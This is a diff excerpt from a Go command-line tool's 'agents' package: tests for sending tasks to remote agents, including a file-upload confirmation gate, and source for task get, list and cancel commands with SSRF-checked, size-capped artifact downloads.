// a meta.next hint pointing at task get --watch.
func TestSendStartsTask(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
var gotText string
setScripted(t, scriptedHooks{send: func(in iagents.SendInput) (*iagents.AgentTask, error) {
gotText = in.Text
return workingTask(), nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("send should not error: %v", err)
}
if gotText != "分析销售" {
t.Errorf("provider should receive the original text, got %q", gotText)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
if data["task_id"] != "chat_1" {
t.Errorf("task_id should be chat_1, got %v", data["task_id"])
}
if data["state"] != string(iagents.StateWorking) {
t.Errorf("state should be working, got %v", data["state"])
}
// meta.next should suggest polling / continuing.
if !strings.Contains(string(out.Bytes()), `"next"`) {
t.Errorf("non-terminal should provide meta.next follow-up: %s", string(out.Bytes()))
}
}
// TestSendSendError surfaces a provider Send failure unchanged.
func TestSendSendError(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "x"
setScripted(t, scriptedHooks{send: func(iagents.SendInput) (*iagents.AgentTask, error) {
return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
}})
if err := agentSendRun(opts); err == nil {
t.Fatal("Send error should propagate")
}
}
// TestSendInvalidRef surfaces a malformed ref as a validation error after the
// text/task-id guards pass.
func TestSendInvalidRef(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
err := agentSendRun(&sendOptions{Ref: "no-colon", Text: "x", Cmd: sendCmdCtx(t), As: "bot", Factory: f})
if err == nil {
t.Fatal("malformed ref should error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T", err)
}
}
// TestNewCmdAgentSend_WriteRiskAndArgs pins ExactArgs(1), write risk, and the
// presence of the send-specific flags.
func TestNewCmdAgentSend_WriteRiskAndArgs(t *testing.T) {
cmd := NewCmdAgentSend(nil, nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskWrite {
t.Errorf("agents send should be marked write risk, got level=%q ok=%v", level, ok)
}
if err := cmd.Args(cmd, []string{}); err == nil {
t.Error("agents send missing ref should raise an args error (ExactArgs 1)")
}
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
t.Errorf("agents send with a single ref should be valid: %v", err)
}
for _, name := range []string{"text", "file", "param", "context-id", "task-id", "dry-run", "as", "format", "jq"} {
if cmd.Flags().Lookup(name) == nil {
t.Errorf("agents send should have --%s flag", name)
}
}
if cmd.Flags().Lookup("wait") != nil {
t.Error("agents send --wait should be removed (polling goes through task get --watch)")
}
// The --file help must point out that files are sent off to the remote
// provider (file-egress requirement).
fileFlag := cmd.Flags().Lookup("file")
if fileFlag != nil && !strings.Contains(fileFlag.Usage, "外发") && !strings.Contains(fileFlag.Usage, "上传") {
t.Errorf("--file help should note files are sent out to the remote provider, got %q", fileFlag.Usage)
}
}
// TestNewCmdAgentSend_RunFOverride confirms the injected runF hook is used
// instead of the production path (construction-time seam).
func TestNewCmdAgentSend_RunFOverride(t *testing.T) {
called := false
var captured *sendOptions
cmd := NewCmdAgentSend(nil, func(opts *sendOptions) error {
called = true
captured = opts
return nil
})
cmd.SetArgs([]string{"example:agt_x", "--text", "hi"})
cmd.SetContext(context.Background())
if err := cmd.Execute(); err != nil {
t.Fatalf("execute should not error: %v", err)
}
if !called {
t.Fatal("runF should be called")
}
if captured.Ref != "example:agt_x" || captured.Text != "hi" {
t.Errorf("opts not populated correctly: %+v", captured)
}
}
// TestSend_FileRequiresYes pins the --file exfil confirmation gate: a real send
// carrying --file to a provider that supports file upload (the scripted card has
// file_input=true) requires --yes, so without it the command returns
// confirmation_required (exit 10) BEFORE reaching the provider — the unset send
// hook is a tripwire that would panic if the gate let the upload through.
func TestSend_FileRequiresYes(t *testing.T) {
mkSendFile(t, "local.txt")
opts := sendTestOpts(t)
opts.Text = "hi"
opts.Files = []string{"local.txt"} // no --yes
err := agentSendRun(opts)
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
t.Fatalf("send --file without --yes should be confirmation_required, got %+v (err=%v)", p, err)
}
if output.ExitCodeOf(err) != output.ExitConfirmationRequired {
t.Fatalf("exit should be %d, got %d", output.ExitConfirmationRequired, output.ExitCodeOf(err))
}
}
// TestSend_FileWithYesProceeds pins that --yes satisfies the --file gate: the
// send reaches the provider, which receives the file path.
func TestSend_FileWithYesProceeds(t *testing.T) {
mkSendFile(t, "local.txt")
opts := sendTestOpts(t)
sent := false
setScripted(t, scriptedHooks{send: func(in iagents.SendInput) (*iagents.AgentTask, error) {
sent = true
if len(in.Files) != 1 || in.Files[0] != "local.txt" {
t.Errorf("provider should receive the --file path, got %v", in.Files)
}
return &iagents.AgentTask{TaskID: "t1", State: iagents.StateCompleted, IsTerminal: true}, nil
}})
opts.Text = "hi"
opts.Files = []string{"local.txt"}
opts.Yes = true
if err := agentSendRun(opts); err != nil {
t.Fatalf("send --file --yes should proceed: %v", err)
}
if !sent {
t.Error("provider Send should be reached after --yes")
}
}
// TestSend_FileDryRunNotGated pins that --dry-run with --file is exempt from the
// gate (dry-run never uploads), so it needs no --yes and never reaches the
// provider (unset send hook stays a tripwire).
func TestSend_FileDryRunNotGated(t *testing.T) {
mkSendFile(t, "local.txt")
opts := sendTestOpts(t)
opts.Text = "hi"
opts.Files = []string{"local.txt"}
opts.DryRun = true // no --yes
if err := agentSendRun(opts); err != nil {
t.Fatalf("dry-run --file should not be gated: %v", err)
}
}

View File

@@ -1,609 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"fmt"
"io"
"net/http"
"strings"
"time"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/validate"
"github.com/larksuite/cli/internal/vfs"
)
// maxArtifactBytes caps a single downloaded artifact to guard against an
// untrusted host streaming an unbounded body onto local disk.
const maxArtifactBytes = 256 << 20 // 256 MiB
// taskOptions holds all inputs for the `agents task get|list|cancel` leaves. A
// single struct backs all three so the shared fields (Factory, Cmd, Ref, As)
// are wired once; each RunE reads only the fields its verb needs.
type taskOptions struct {
Factory *cmdutil.Factory
Cmd *cobra.Command
Ref string
TaskID string
ContextID string
ArtifactID string
Params []string
Output string
Force bool
Watch bool
Timeout time.Duration
As string
Format string
PageSize int
PageToken string
}
// resolveDownload is the DownloadArtifact seam: it resolves the provider
// addressed by opts under the effective identity, runs the local scope
// preflight, and fetches the artifact descriptor. Tests swap it to return
// inline bytes without a Factory / network.
var resolveDownload = func(opts *taskOptions) (*iagents.ArtifactData, error) {
_, spec, agentID, id, err := resolveSpec(opts.Factory, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return nil, err
}
// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
// unavailable_for_brand uniformly for every verb — even one it does not wire —
// so it must precede the capability nil-gate below.
if err := brandGate(opts.Factory, spec, opts.Ref); err != nil {
return nil, err
}
// Capability gate before any network: a spec that does not wire
// DownloadArtifact (card artifact_download=false) returns unsupported_capability.
if spec.DownloadArtifact.Handler == nil {
return nil, capabilityError(opts.Ref, "artifact download", iagents.CapArtifactDownload)
}
// Per-capability brand gate: artifact_download's own brand scope.
if err := opBrandGate(opts.Factory, spec.DownloadArtifact.Brands, opts.Ref, "artifact download"); err != nil {
return nil, err
}
// --artifact switches this command to the artifact_download operation, so
// params validate STRICTLY against its declaration (a task_get-only param
// here gets the cross-operation teaching error), and rt.Params() carries
// only artifact_download keys — the executing hook's own contract.
vp, err := validateParams(opts.Params, spec.DownloadArtifact.Params, iagents.VerbArtifactDownload, spec, opts.Ref)
if err != nil {
return nil, err
}
rt, err := runtimeFor(opts.Factory, id, agentID, vp.Resolved)
if err != nil {
return nil, err
}
if err := preflightScopesForRef(opts.Factory, id, opts.Ref); err != nil {
return nil, err
}
return spec.DownloadArtifact.Handler(opts.Cmd.Context(), rt, opts.TaskID, opts.ArtifactID)
}
// artifactFetch is the URL-download seam: it SSRF-validates rawURL and fetches
// its bytes with a download-hardened client. Tests swap it to serve a loopback
// httptest server (which the production SSRF guard would otherwise block).
var artifactFetch = fetchArtifactURL
// hardenDownloadClient is the download-client-build seam inside fetchArtifactURL.
// Production wraps the base client with the SSRF-hardened redirect/dial rules;
// tests swap it to pass the (interceptable) base client through unchanged so the
// request/status/read/limit logic can run against an httpmock transport that the
// hardened client's transport clone would otherwise discard.
var hardenDownloadClient = func(base *http.Client) *http.Client {
return validate.NewDownloadHTTPClient(base, validate.DownloadHTTPClientOptions{})
}
// NewCmdAgentTask builds the `agents task` command group: query, list and cancel
// tasks on a remote agent. It is a pure group with no RunE so an unknown
// subcommand is reported rather than silently swallowed.
func NewCmdAgentTask(f *cmdutil.Factory) *cobra.Command {
cmd := &cobra.Command{
Use: "task",
Short: "Query / list / cancel a remote agent's tasks",
Long: "task get <agent_ref> <task-id> queries a single task (with --watch polling and --artifact download); task list <agent_ref> lists tasks; task cancel <agent_ref> <task-id> cancels (capability-gated).",
}
cmd.AddCommand(NewCmdAgentTaskGet(f))
cmd.AddCommand(NewCmdAgentTaskList(f))
cmd.AddCommand(NewCmdAgentTaskCancel(f))
return cmd
}
// NewCmdAgentTaskGet builds `agents task get <ref> <task-id>`: fetch a single
// task's state and artifacts. `--watch` polls until the task reaches a stop
// condition and the terminal state drives the semantic exit code;
// `--timeout` bounds that poll (0 = unbounded, blocking to a stop condition —
// the backward-compatible default). `--artifact <id>` downloads that artifact
// to `-o` instead of printing the task: a URL-type artifact is SSRF-validated
// and fetched, an inline-bytes artifact is written straight to disk.
// Risk=read.
func NewCmdAgentTaskGet(f *cmdutil.Factory) *cobra.Command {
opts := &taskOptions{Factory: f}
cmd := &cobra.Command{
Use: "get <agent_ref> <task-id>",
Short: "Query a single task's state and artifacts",
Long: "Query the state and artifacts of task-id under the agent addressed by agent_ref. --watch polls until a stop condition and then prints the final state; --timeout bounds the watch (0 = unbounded, blocking to a terminal state). --artifact <id> with -o downloads that artifact to a local file.",
Args: exactArgsWithUsage(2),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
opts.TaskID = args[1]
return agentTaskGetRun(opts)
},
}
cmd.Flags().BoolVar(&opts.Watch, "watch", false, "轮询任务直到进入停轮询条件(终态 / 需补输入 / 需补鉴权)再打印最终状态")
cmd.Flags().DurationVar(&opts.Timeout, "timeout", 0, "--watch 的最长轮询时长,如 30s0=无界(阻塞到终态);到点未终止则返回当前状态+续 watch 命令")
cmd.Flags().StringVar(&opts.ArtifactID, "artifact", "", "下载指定产物 id须配合 -o 指定落盘路径),不打印任务详情")
cmd.Flags().StringVarP(&opts.Output, "output", "o", "", "产物落盘路径(仅 --artifact 时使用)")
cmd.Flags().BoolVar(&opts.Force, "force", false, "允许覆盖已存在的 -o 目标文件(默认拒绝覆盖,防止误毁本地文件)")
addParamFlag(cmd, &opts.Params)
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// NewCmdAgentTaskList builds `agents task list <ref>`: enumerate the agent's
// tasks, optionally filtered by `--context-id`, into {tasks:[...]} with a
// meta.count. Risk=read.
func NewCmdAgentTaskList(f *cmdutil.Factory) *cobra.Command {
opts := &taskOptions{Factory: f}
cmd := &cobra.Command{
Use: "list <agent_ref>",
Short: "List a remote agent's tasks",
Long: "List the tasks of the agent addressed by agent_ref; --context-id filters by multi-turn context.",
Args: exactArgsWithUsage(1),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
if err := validatePageSize(opts.PageSize); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
return agentTaskListRun(opts)
},
}
cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "按多轮上下文 id 过滤任务")
addPageFlags(cmd, &opts.PageSize, &opts.PageToken)
addParamFlag(cmd, &opts.Params)
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// NewCmdAgentTaskCancel builds `agents task cancel <ref> <task-id>`: cancel
// (interrupt) a task. Cancel is capability-gated on the Card's task_cancel: for
// an agent that does not support it (task_cancel=false, e.g. example:echo) the
// command returns unsupported_capability without contacting the API.
// Risk=write.
func NewCmdAgentTaskCancel(f *cmdutil.Factory) *cobra.Command {
opts := &taskOptions{Factory: f}
cmd := &cobra.Command{
Use: "cancel <agent_ref> <task-id>",
Short: "Cancel (interrupt) a remote agent's task",
Long: "Cancel task-id under the agent addressed by agent_ref. If the agent does not support cancel (card task_cancel=false), it returns unsupported_capability without sending a request.",
Args: exactArgsWithUsage(2),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
opts.TaskID = args[1]
return agentTaskCancelRun(opts)
},
}
addParamFlag(cmd, &opts.Params)
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
return cmd
}
// addAsFlag registers the identity flag: the real API-identity flag when a
// Factory is present, or a bare --as for construction-time unit tests (f nil).
func addAsFlag(cmd *cobra.Command, f *cmdutil.Factory, as *string) {
if f != nil {
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, as)
return
}
cmd.Flags().StringVar(as, "as", "", "identity type: user | bot")
}
// agentTaskGetRun runs `task get`. The `--artifact` client-side guard (requires
// -o) runs first so it never touches the network and holds under a nil Factory.
// With `--artifact` it downloads the named artifact to -o; otherwise it
// fetches the task, optionally polling it to a stop condition under --watch, and
// emits the task with the terminal state driving the semantic exit code.
func agentTaskGetRun(opts *taskOptions) error {
if opts.ArtifactID != "" {
if opts.Output == "" {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"--artifact 需配合 -o/--output 指定落盘路径").
WithParam("--output").
WithHint("补充 -o <落盘路径> 后重发")
}
return downloadArtifact(opts)
}
// --timeout only bounds the --watch poll; without --watch it is meaningless.
// Guard it client-side (mirrors the send --task-id/--context-id combo check)
// so it never touches the network and holds under a nil Factory.
if opts.Timeout > 0 && !opts.Watch {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"--timeout 需与 --watch 一起使用").
WithParam("--timeout").
WithHint("加上 --watch如 --watch --timeout 30s做有界轮询或去掉 --timeout 做单次查询")
}
f := opts.Factory
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Brand gates (offline): whole-agent visibility, then task_get's own scope
// (GetTask is core/always wired, so this is normally a no-op).
if err := brandGate(f, spec, opts.Ref); err != nil {
return err
}
if err := opBrandGate(f, spec.GetTask.Brands, opts.Ref, "task get"); err != nil {
return err
}
vp, err := validateParams(opts.Params, spec.GetTask.Params, iagents.VerbTaskGet, spec, opts.Ref)
if err != nil {
return err
}
rt, err := runtimeFor(f, id, agentID, vp.Resolved)
if err != nil {
return err
}
// Local scope preflight: after runtimeFor, before the API call.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
ctx := opts.Cmd.Context()
task, err := spec.GetTask.Handler(ctx, rt, opts.TaskID)
if err != nil {
return err
}
// A provider that decodes an empty "data" via Call[*AgentTask] legitimately
// returns (nil, nil) (see internal/agent decodeData). Surface that as a typed
// error rather than dereferencing task.State below (the --watch branch would
// otherwise panic; the sibling consumers all nil-guard).
if task == nil {
return errs.NewInternalError(errs.SubtypeInvalidResponse,
"provider 未返回任务数据(响应无 data")
}
if opts.Watch && !task.State.ShouldStopPolling() {
// A positive --timeout bounds the poll: pollToStop returns the most recent
// task with a nil error when the deadline fires (a timeout is an
// observation-window close, not a failure), so a long task degrades to
// "current state + a fresh watch hint" instead of blocking forever. 0 =
// unbounded (the backward-compatible default). pollToStop is unchanged.
pollCtx := ctx
if opts.Timeout > 0 {
var cancel context.CancelFunc
pollCtx, cancel = context.WithTimeout(ctx, opts.Timeout)
defer cancel()
}
final, perr := pollToStop(pollCtx, func(c context.Context, tid string) (*iagents.AgentTask, error) {
return spec.GetTask.Handler(c, rt, tid)
}, opts.TaskID)
if perr != nil {
return perr
}
if final != nil {
task = final
}
}
// Derive IsTerminal from State (single source of truth) before any consumer
// — emitTask's output and semanticExitError below both read the flag.
notice := normalizeTask(task)
if err := emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task, spec, vp.Given, iagents.VerbTaskGet), opts.Format, notice); err != nil {
return err
}
// Under --watch a non-successful terminal state signals exit 1; a
// plain get (or a non-terminal stop) is exit 0.
if opts.Watch {
return semanticExitError(task)
}
return nil
}
// agentTaskListRun runs `task list`: resolves the provider, lists tasks
// (optionally filtered by --context-id) in the provider's most-recent-first
// order, and emits {tasks:[...]} with meta.count through content-safety scanning
// (the summaries carry untrusted agent text).
func agentTaskListRun(opts *taskOptions) error {
f := opts.Factory
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
// unavailable_for_brand uniformly for every verb — even one it does not wire —
// so it must precede the capability nil-gate below.
if err := brandGate(f, spec, opts.Ref); err != nil {
return err
}
// Capability gate BEFORE building the client: a spec that does not wire
// ListTasks (card task_list=false) returns unsupported_capability offline.
if spec.ListTasks.Handler == nil {
return capabilityError(opts.Ref, "task list", iagents.CapTaskList)
}
// Per-capability brand gate: applies only to a wired op.
if err := opBrandGate(f, spec.ListTasks.Brands, opts.Ref, "task list"); err != nil {
return err
}
vp, err := validateParams(opts.Params, spec.ListTasks.Params, iagents.VerbTaskList, spec, opts.Ref)
if err != nil {
return err
}
rt, err := runtimeFor(f, id, agentID, vp.Resolved)
if err != nil {
return err
}
// Local scope preflight: after runtimeFor, before the API call.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
tasks, pageInfo, err := spec.ListTasks.Handler(opts.Cmd.Context(), rt, opts.ContextID,
iagents.PageParams{Token: opts.PageToken, Size: opts.PageSize})
if err != nil {
return err
}
tasks = normalizeTaskSummaries(tasks)
// Ordering is the provider's contract (most-recent-first), consistent across
// and within pages — the CLI does not re-sort a page.
if tasks == nil {
tasks = []iagents.TaskSummary{} // always emit [] not null (matches the Card.Parameters array convention)
}
return scanAndEmitData(f, opts.Cmd, opts.Format,
map[string]interface{}{"tasks": tasks},
listMetaPage(len(tasks), pageInfo, taskListNext(opts, f, pageInfo)),
func(w io.Writer) { printTaskSummariesTSV(w, tasks) })
}
// taskListNext builds the next-page action for `task list`. The command replays
// the caller's ref + optional --context-id with the returned cursor. The ref is
// gated by safeNextRef and the context-id by safeNextID (both user-supplied): a
// failing value drops the action rather than emitting a command that pages the
// wrong (unfiltered) set — the cursor still rides meta.page_token as data.
func taskListNext(opts *taskOptions, f *cmdutil.Factory, info iagents.PageInfo) []output.NextAction {
if !safeNextRef(opts.Ref) {
return nil
}
if opts.ContextID != "" && !safeNextID(opts.ContextID) {
return nil
}
base := fmt.Sprintf("lark-cli agents task list %s", opts.Ref)
if opts.ContextID != "" {
base += " --context-id " + opts.ContextID
}
next := nextPageAction(base, opts.PageSize, info)
carryAsIntoNext(opts.Cmd, f, next)
return next
}
// agentTaskCancelRun runs `task cancel`. Cancel is capability-gated offline
// (right after resolveSpec, before the client is built): a spec that does not
// wire CancelTask (card task_cancel=false, e.g. example:echo) returns
// unsupported_capability without any API access. Only a supporting spec reaches
// runtimeFor + CancelTask.
func agentTaskCancelRun(opts *taskOptions) error {
f := opts.Factory
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
// unavailable_for_brand uniformly for every verb — even one it does not wire —
// so it must precede the capability nil-gate below.
if err := brandGate(f, spec, opts.Ref); err != nil {
return err
}
if spec.CancelTask.Handler == nil {
return capabilityError(opts.Ref, "task cancel", iagents.CapTaskCancel)
}
// Per-capability brand gate: task_cancel's own brand scope — a
// wired-but-brand-excluded cancel returns unavailable_for_brand.
if err := opBrandGate(f, spec.CancelTask.Brands, opts.Ref, "task cancel"); err != nil {
return err
}
vp, err := validateParams(opts.Params, spec.CancelTask.Params, iagents.VerbTaskCancel, spec, opts.Ref)
if err != nil {
return err
}
rt, err := runtimeFor(f, id, agentID, vp.Resolved)
if err != nil {
return err
}
// Local scope preflight: after runtimeFor, before the API call. A
// task_cancel=false agent never reaches here (gated above); it is wired so a
// provider that supports cancel is not silently exempt from the all-or-nothing
// scope check.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
if err := spec.CancelTask.Handler(opts.Cmd.Context(), rt, opts.TaskID); err != nil {
return err
}
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
fmt.Fprintf(f.IOStreams.Out, "task_id: %s\ncanceled: true\n", kvValue(opts.TaskID))
return nil
}
env := output.Envelope{
OK: true,
Identity: string(id),
Data: map[string]interface{}{"task_id": opts.TaskID, "canceled": true},
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// downloadArtifact resolves the artifact descriptor and writes it to opts.Output
// under vfs. A URL-type artifact is SSRF-validated and fetched over a
// download-hardened client; an inline-bytes artifact is written directly. The
// output path is validated with SafeOutputPath (relative, within the CWD)
// before any write.
func downloadArtifact(opts *taskOptions) error {
safePath, err := validate.SafeOutputPath(opts.Output)
if err != nil {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的 -o 路径: %v", err).
WithParam("--output").WithCause(err)
}
// Overwriting a local file destroys its content irreversibly — a high-risk
// write. It goes through the same confirmation contract as other --force
// gates (config bind): without --force, a would-be overwrite returns
// confirmation_required (exit 10) before any download. Lstat (not Stat) so a
// symlink at the path counts as existing rather than being followed.
if !opts.Force {
if _, statErr := vfs.Lstat(safePath); statErr == nil {
return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agents task get --artifact -o",
"目标文件已存在,覆盖会不可逆地毁掉本地内容: %s", safePath).
WithHint("确认要覆盖后加 --force 重跑,或换一个 -o 路径")
}
}
ctx := opts.Cmd.Context()
art, err := resolveDownload(opts)
if err != nil {
return err
}
// A provider decoding an empty "data" via Call[*ArtifactData] can return
// (nil, nil); and a non-nil descriptor with neither inline bytes nor a URL
// carries no downloadable content. Both are provider-response defects — fail
// with a typed error instead of dereferencing nil or writing a 0-byte file
// (which under --force would clobber an existing local file with emptiness).
if art == nil {
return errs.NewInternalError(errs.SubtypeInvalidResponse,
"provider 未返回产物数据(响应无 data")
}
if len(art.Bytes) == 0 && art.URL == "" {
return errs.NewInternalError(errs.SubtypeInvalidResponse,
"产物 '%s' 无可下载内容provider 既未提供内联字节也未提供下载 URL", opts.ArtifactID)
}
data := art.Bytes
if art.URL != "" {
data, err = artifactFetch(ctx, opts.Factory, art.URL)
if err != nil {
return err
}
}
if err := vfs.WriteFile(safePath, data, 0o600); err != nil {
return errs.NewInternalError(errs.SubtypeFileIO, "写产物到 %s 失败: %v", safePath, err).WithCause(err)
}
f := opts.Factory
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
out := f.IOStreams.Out
fmt.Fprintf(out, "artifact_id: %s\n", kvValue(opts.ArtifactID))
fmt.Fprintf(out, "path: %s\n", safePath)
fmt.Fprintf(out, "bytes: %d\n", len(data))
if art.Mime != "" {
fmt.Fprintf(out, "mime: %s\n", kvValue(art.Mime))
}
// suggested_name is the server-suggested name, for reference only; the
// actual on-disk path is already the safePath (-o) above.
if art.Name != "" {
fmt.Fprintf(out, "suggested_name: %s\n", kvValue(art.Name))
}
return nil
}
env := output.Envelope{
OK: true,
Identity: string(f.ResolvedIdentity),
Data: map[string]interface{}{
"artifact_id": opts.ArtifactID,
"path": safePath,
"bytes": len(data),
"mime": art.Mime,
"suggested_name": art.Name,
},
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// fetchArtifactURL is the production URL fetch: it SSRF-validates rawURL, builds
// a download-hardened HTTP client from the Factory and reads the body up to
// maxArtifactBytes, refusing anything larger. The artifact host is untrusted
// external content, so both the URL and the redirect chain are guarded.
func fetchArtifactURL(ctx context.Context, f *cmdutil.Factory, rawURL string) ([]byte, error) {
if err := validate.ValidateDownloadSourceURL(ctx, rawURL); err != nil {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "被拦截的产物 URL: %v", err).
WithCause(err)
}
// Artifact bytes come from an untrusted host over the network; require https
// so the payload cannot be read or tampered with in transit. The SSRF check
// above already rejects private/loopback hosts and non-http(s) schemes, so a
// surviving non-https URL is plain-text http.
if !strings.HasPrefix(strings.ToLower(rawURL), "https://") {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "产物 URL 必须为 https拒绝明文下载")
}
base, err := f.HttpClient()
if err != nil {
return nil, errs.NewInternalError(errs.SubtypeSDKError, "构造 http client 失败: %v", err).WithCause(err)
}
client := hardenDownloadClient(base)
req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
if err != nil {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的产物 URL: %v", err).WithCause(err)
}
resp, err := client.Do(req)
if err != nil {
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "下载产物失败: %v", err).WithCause(err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, errs.NewNetworkError(errs.SubtypeNetworkServer, "下载产物失败: HTTP %d", resp.StatusCode)
}
// Read ONE byte past the cap so an oversized body is detected rather than
// silently truncated: io.LimitReader returns EOF (not an error) at the cap, so
// reading exactly maxArtifactBytes cannot distinguish "fits" from "overflowed".
// A body over the cap is refused with a typed error instead of writing a
// corrupt, partial file that would otherwise report success.
data, err := io.ReadAll(io.LimitReader(resp.Body, maxArtifactBytes+1))
if err != nil {
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "读取产物响应失败: %v", err).WithCause(err)
}
if int64(len(data)) > maxArtifactBytes {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"产物超过大小上限 %d 字节,拒绝下载(避免写入被截断的残缺文件)", int64(maxArtifactBytes))
}
return data, nil
}

File diff suppressed because it is too large Load Diff

View File

@@ -1,203 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"encoding/json"
"strings"
"sync"
"testing"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// fakeUnsupSpec is a stub instance spec driving the command-layer
// capability-gate wirings without any HTTP: ListContexts / DeleteContext are
// left UNWIRED (nil), so the command layer's nil-gate must return the typed
// unsupported_capability before any network access. GetTask is wired to return a
// task whose IsTerminal deliberately mismatches its State (normalizeTask must
// re-derive it). Send is wired (core, required by Register) but never called
// here. There is no capability-refusal code in the spec — "unsupported" is
// expressed purely by the absent hooks.
func fakeUnsupSpec() *iagents.AgentSpec {
return &iagents.AgentSpec{
Send: iagents.SendOp{Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) {
panic("unsup provider: Send should not be called")
}},
GetTask: iagents.TaskGetOp{Handler: func(_ context.Context, _ iagents.Runtime, taskID string) (*iagents.AgentTask, error) {
// Deliberate mismatch: State is terminal but IsTerminal=false.
return &iagents.AgentTask{TaskID: taskID, State: iagents.StateCompleted, IsTerminal: false}, nil
}},
// ListContexts / DeleteContext intentionally unwired ⇒ unsupported.
}
}
// registerFakeUnsup registers the fakeunsup scheme exactly once (Register
// panics on duplicates). Like the other fakes it leaks into the package-level
// registry for the remaining tests of this package run.
var registerFakeUnsupOnce sync.Once
func registerFakeUnsup() {
registerFakeUnsupOnce.Do(func() {
iagents.Register(iagents.Provider{
Scheme: "fakeunsup",
Label: "test fake (unwired optional capabilities)",
AgentIDSource: "test only",
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
Instance: fakeUnsupSpec(),
})
})
}
// assertUnsupportedCapability pins the full capability-gate contract on err:
// validation typed, subtype unsupported_capability, exit 2, hint pointing at
// `agents card <ref>`, and — because the Factory's httpmock registry has zero
// stubs — no HTTP was issued (any network attempt would have surfaced as an
// "httpmock: no stub" error instead of the typed one).
func assertUnsupportedCapability(t *testing.T, err error, ref string) {
t.Helper()
if err == nil {
t.Fatal("an unsupported capability should error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T (%v)", err, err)
}
